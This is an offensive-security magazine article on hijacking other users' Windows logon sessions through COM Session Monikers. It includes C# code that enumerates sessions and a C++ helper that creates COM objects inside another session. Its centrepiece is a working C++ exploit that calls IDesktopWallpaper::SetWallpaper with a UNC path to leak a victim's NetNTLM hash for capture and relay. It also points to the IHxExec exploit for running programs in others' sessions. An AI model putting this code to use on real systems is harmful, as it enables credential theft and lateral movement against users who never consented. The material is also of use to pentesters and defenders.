
Long ago, when the sky was bluer, the trees were taller, and the girls were sweeter, I published an article called Insecurity provider. How Windows leaks user passwords. It discussed in detail the user login stage: from turning the workstation on to gaining access to its desktop.
Today I am going to present another attack type: session hijacking. And to implement it, I will use COM!
Logon Sessions
Let’s start with the basics. A Logon Session (or just session) is similar to a browser cookie. The system uses it to determine which user is accessing it.
Each session has a unique number called LUID (Locally Unique IDentifier). In fact, that’s all what is required for Windows to identify a user session.
typedef struct _LUID { ULONG LowPart; LONG HighPart;} LUID, *PLUID;
where:
-
LowPart
contains the required numerical value; and -
HighPart
is usually NULL.
The existing Logon Sessions can be examined using the LsaEnumerateLogonSessions() function. Let’s see how it looks in C#.
using System;using System.Runtime.InteropServices;using System.Security.Principal;class Program{ [DllImport("Secur32.dll", SetLastError = false)] private static extern int LsaEnumerateLogonSessions(out ulong LogonSessionCount, out IntPtr LogonSessionList); [DllImport("Secur32.dll", SetLastError = false)] private static extern int LsaGetLogonSessionData(IntPtr LogonSession, out IntPtr ppLogonSessionData); [DllImport("Secur32.dll")] private static extern uint LsaFreeReturnBuffer(IntPtr buffer); [StructLayout(LayoutKind.Sequential)] private struct LSA_UNICODE_STRING { public ushort Length; public ushort MaximumLength; public IntPtr Buffer; } [StructLayout(LayoutKind.Sequential)] private struct SECURITY_LOGON_SESSION_DATA { public uint Size; public LUID LogonId; public LSA_UNICODE_STRING UserName; public LSA_UNICODE_STRING LogonDomain; public LSA_UNICODE_STRING AuthenticationPackage; public uint LogonType; public uint Session; public IntPtr Sid; public long LogonTime; } [StructLayout(LayoutKind.Sequential)] private struct LUID { public uint LowPart; public int HighPart; } private static string GetString(LSA_UNICODE_STRING unicodeString) { return Marshal.PtrToStringUni(unicodeString.Buffer); } static void Main() { var result = LsaEnumerateLogonSessions(out var count, out var luidPtr); if (result != 0) { Console.WriteLine("LsaEnumerateLogonSessions failed"); return; } var iter = luidPtr; for (ulong i = 0; i < count; i++) { result = LsaGetLogonSessionData(iter, out var sessionDataPtr); if (result == 0) { var sessionData = Marshal.PtrToStructure<SECURITY_LOGON_SESSION_DATA>(sessionDataPtr); var userName = GetString(sessionData.UserName); var domainName = GetString(sessionData.LogonDomain); Console.WriteLine($"UserName: {userName}"); Console.WriteLine($"LogonDomain: {domainName}"); Console.WriteLine("---------------------------"); LsaFreeReturnBuffer(sessionDataPtr); } iter = IntPtr.Add(iter, Marshal.SizeOf(typeof(LUID))); } LsaFreeReturnBuffer(luidPtr); }}

In the above code, you can see a standard import of required functions with PInvoke
and their subsequent calls performed in a certain order.
To get a list of sessions from a device remotely, you can use the NetSessionEnum(
and NetrSessionEnum(
functions. An example of their usage can be found on GitHub.
Alternatively, the netview.py tool can be used.

Finally, you can use built-in command line tools.
qwinsta
# To get this information remotely, use quser.exe quser.exe /server:dc01.office.corp

There are plenty of other ways to search for target user sessions, including Invoke-UserHunter
from PowerView and its numerous analogs in C#, but these tools are beyond the scope of this article. Therefore, let’s finish with reconnaissance and move on to actual hijacking.
Similar to Elevation Monikers, Windows also uses Session Monikers. To remind: a moniker is a string representation of a COM object. And a session moniker can be used to instantiate a COM class in a specific session.
For example, if you have a COM class, and one of its methods enables you to execute commands, you can hijack a user’s session by instantiating this COM class inside that user’s session using a Session Moniker.
In reality, it’s not that simple since Microsoft has imposed certain restrictions (to be addressed a bit later). But first, let’s examine the Session Moniker operation principle using slides published by James Forshaw.
Initially, there are several objects.

There is a session assigned to user Alice (your session) and a session assigned to user Bob (to be hijacked). There is also the RPCSS service (Service Control Manager for COM and DCOM servers) responsible for activating COM objects.
So, you request activation of a COM object in Bob’s session.

This request is submitted to the RPCSS service because SCM manages the activation of COM objects. The RPCSS service sees that a Session Moniker is being used, locates Bob’s session, and creates a COM object inside it.

After the successful activation of the COM object, the client (i.e. yourself in session 1) receives a pointer to the interface of this COM object and can interact with it (e.g. call a method to execute a command).

To use a Session Moniker, all you have to do is prepare a string in the following format:
"Session:[digits]!clsid:[class id]"
where digits
is the ID of the session where a COM class should be created identified by the CLSID value in the class
field.
Using this function, you can create COM objects in other people’s sessions.
HRESULT CoCreateInstanceInSession (DWORD session, REFCLSID rclsid , REFIID riid , void ** ppv) { BIND_OPTS3 bo = {}; WCHAR wszCLSID [50]; WCHAR wszMonikerName [300]; StringFromGUID2 (rclsid, wszCLSID, _countof(wszCLSID)); StringCchPrintf (wszMonikerName , _countof(wszMonikerName ), L"session:%d!new:%s" , session, wszCLSID); bo.cbStruct = sizeof(bo); bo.dwClassContext = CLSCTX_LOCAL_SERVER ; return CoGetObject (wszMonikerName , &bo, riid, ppv);}
If anyone could instantiate COM classes in other people’s sessions using Session Moniker, this would mean a severe security hole in Windows. Its exploitation could result in horizontal privilege escalation (vertical privilege escalation occurs in the case of an admin session).
But it’s not all that bad. In many cases, it’s impossible to instantiate a COM class in the target user’s session using Session Moniker. The target COM class must be registered to run under an interactive user. This value is specified in a separate registry key: RunAs. If the value is empty or the running user, system, or service is specified, Session Moniker won’t work. The Checker tool can be used to extract a list of all objects: it generates a report in the CSV or XLSX format. After that, all you have to do is apply a filter to the required field.

Then restrictions are imposed in the following priority. They don’t have official names (or I am not aware of them).
- SeDebug – if you have SeDebug, you can hijack other people’s sessions (e.g. using IHxExec);
-
Patch fixing CVE-2024-38100 (FakePotato) – if you don’t have local admin rights, you won’t be able to instantiate interactive (the RunAs field is set to
The
) COM objects inside theInteractive User explorer.
process. In fact, the developers simply fixed Access Permissions in this patch. If you don’t have such permissions for the process, you won’t be able to access COM objects running inside it. If Access Permissions for a specific AppID aren’t defined, then the default ones are used. You can use the OleViewDotNet tool to view your permissions.exe List of processes with running COM objects List of objects running inside a process Default permissions for a process Patch fixing the COM Session Moniker EOP exploit. The capabilities of Session Monikers have been known for a long time, but their exploitation isn’t very popular. As soon as security experts started researching them, an exploit was created almost immediately: it allows you to start a certain object inside someone else’s session, which results in privilege escalation. The fix adds an integrity level check prior to accessing the object. If someone tries to access an object in someone else’s session from a process with a medium integrity level, the access is blocked.
Starting a process in someone else’s session
First, let’s test the IHxExec exploit. It enables you to run an executable file inside somebody else’s session. Its implementation in C# and PowerShell is also available on GitHub.
Both tools abuse Session Monikers to execute code. If you have local admin rights (or the SeDebug privilege), then you can execute code in other users’ sessions this way. On older systems that haven’t been updated since 2017, this trick would work even on behalf of a low-privileged user. A detailed analysis of the exploit can be found on Medium.
Technically, two undocumented COM interfaces are exploited: IStandardActivator and ISpecialSystemProperties; under normal conditions, these interfaces are accessed when Session Monikers are instantiated. The first one is required to activate objects; while the second one includes an interesting method called SetSessionId() that can be used to specify the target session where a COM object has to be started.

As you can see, the exploit successfully instantiates the required COM object, and you can execute an arbitrary file inside someone else’s session.
Password hash leak as a result of changing desktop wallpaper
Another exploit was released quite recently: it also abuses Session Monikers, but now the instantiated COM object makes it possible not to start a process, but to change the wallpaper. One might ask: Where is the vulnerability? But if you review the article Gone to the Dogs by Elad Shamir, you’ll see that the wallpaper change function can be used to extract the NetNTLM hash from a computer. So, I thought: what happens if an attacker instantiates an interactive COM object inside someone else’s session, then calls the wallpaper change method, and specifies the UNC Path to gain the NetNTLM hash?
This idea was nagging me for a while, but then a hint appeared on decoder.cloud, and I managed to find a suitable COM object.

The object features the IDesktopWallpaper interface and the SetWallpaper() method whose logic seemed to be suitable for my purposes.
HRESULT SetWallpaper( [in] LPCWSTR monitorID, [in] LPCWSTR wallpaper);
The first argument is used to pass the ID of the monitor where a new wallpaper should be set; while the second one, to pass the path to this wallpaper. The point is: if you specify a UNC Path in the second argument, this would cause an NetNTLM hash leak. But where to get the monitor ID?
According to MSDN, the GetMonitorDevicePathAt() method can be used for this purpose. To call it, the monitorIndex
parameter is required, and it can be obtained using GetMonitorDevicePathCount().
The resulting kill chain looks as follows:
-
GetMonitorDevicePathCount([
;out] int a) -
GetMonitorDevicePathAt([
; andin] a, [ out] index) -
SetWallpaper([
.in] index, [ in] UNCPath)
To leak the NetNTLM hash of the target user, you have to instantiate the COM class for wallpaper management inside that user’s session. This can be done using the CoCreateInstanceInSession(
function.
HRESULT CoCreateInstanceInSession(DWORD session, REFCLSID rclsid, REFIID riid, void** ppv) { BIND_OPTS3 bo = {}; WCHAR wszCLSID[50]; WCHAR wszMonikerName[300]; StringFromGUID2(rclsid, wszCLSID, _countof(wszCLSID)); StringCchPrintf(wszMonikerName, _countof(wszMonikerName), L"session:%d!new:%s", session, wszCLSID); bo.cbStruct = sizeof(bo); bo.dwClassContext = CLSCTX_LOCAL_SERVER; return CoGetObject(wszMonikerName, &bo, riid, ppv);}...IDesktopWallpaper* pDesktopWallpaper = nullptr;hr = CoCreateInstanceInSession(session, clsidShellWindows, iidIShellWindows, (void**)&pDesktopWallpaper);if (FAILED(hr)) { std::wcerr << L"CoCreateInstanceInSession failed with error: " << hr << std::endl; CoUninitialize(); return 1;}
After the successful instantiation, you can access methods of this COM class.
UINT monitorCount;hr = pDesktopWallpaper->GetMonitorDevicePathCount(&monitorCount);if (FAILED(hr)) { std::wcerr << L"GetMonitorDevicePathCount failed with error: " << hr << std::endl; pDesktopWallpaper->Release(); CoUninitialize(); return 1;}for (UINT i = 0; i < monitorCount; i++) { LPWSTR monitorId; hr = pDesktopWallpaper->GetMonitorDevicePathAt(i, &monitorId); if (FAILED(hr)) { std::wcerr << L"GetMonitorDevicePathAt failed with error: " << hr << std::endl; continue; } hr = pDesktopWallpaper->SetWallpaper(monitorId, imagePath); std::wcout << L"[+] Check Responder" << std::endl; CoTaskMemFree(monitorId);}

After leaking the hash, you can take it a step further and deliver a relay attack. Such attacks were discussed in detail in the series of publications “Your guide to NTLM relay” (Part 1 and Part 2).
Conclusions
One again, undocumented Windows features enable hackers to deliver efficient and elegant attacks. The hardest part about it is to crystallize an abstract concept into a fully-functional exploit.
Good luck in your pentesting endeavors!

2023.01.22 — Top 5 Ways to Use a VPN for Enhanced Online Privacy and Security
This is an external third-party advertising publication. In this period when technology is at its highest level, the importance of privacy and security has grown like never…
Full article →
2022.02.15 — EVE-NG: Building a cyberpolygon for hacking experiments
Virtualization tools are required in many situations: testing of security utilities, personnel training in attack scenarios or network infrastructure protection, etc. Some admins reinvent the wheel by…
Full article →
2023.02.13 — Ethernet Abyss. Network pentesting at the data link layer
When you attack a network at the data link layer, you can 'leapfrog' over all protection mechanisms set at higher levels. This article will walk…
Full article →
2022.06.02 — Climb the heap! Exploiting heap allocation problems
Some vulnerabilities originate from errors in the management of memory allocated on a heap. Exploitation of such weak spots is more complicated compared to 'regular' stack overflow; so,…
Full article →
2023.03.26 — Attacks on the DHCP protocol: DHCP starvation, DHCP spoofing, and protection against these techniques
Chances are high that you had dealt with DHCP when configuring a router. But are you aware of risks arising if this protocol is misconfigured on a…
Full article →
2023.04.20 — Sad Guard. Identifying and exploiting vulnerability in AdGuard driver for Windows
Last year, I discovered a binary bug in the AdGuard driver. Its ID in the National Vulnerability Database is CVE-2022-45770. I was disassembling the ad blocker and found…
Full article →
2022.01.11 — Persistence cheatsheet. How to establish persistence on the target host and detect a compromise of your own system
Once you have got a shell on the target host, the first thing you have to do is make your presence in the system 'persistent'. In many real-life situations,…
Full article →
2022.02.15 — Reverse shell of 237 bytes. How to reduce the executable file using Linux hacks
Once I was asked: is it possible to write a reverse shell some 200 bytes in size? This shell should perform the following functions: change its name…
Full article →
2023.04.04 — Serpent pyramid. Run malware from the EDR blind spots!
In this article, I'll show how to modify a standalone Python interpreter so that you can load malicious dependencies directly into memory using the Pyramid…
Full article →
2023.03.03 — Infiltration and exfiltration. Data transmission techniques used in pentesting
Imagine a situation: you managed to penetrate the network perimeter and gained access to a server. This server is part of the company's internal network, and, in theory, you could…
Full article →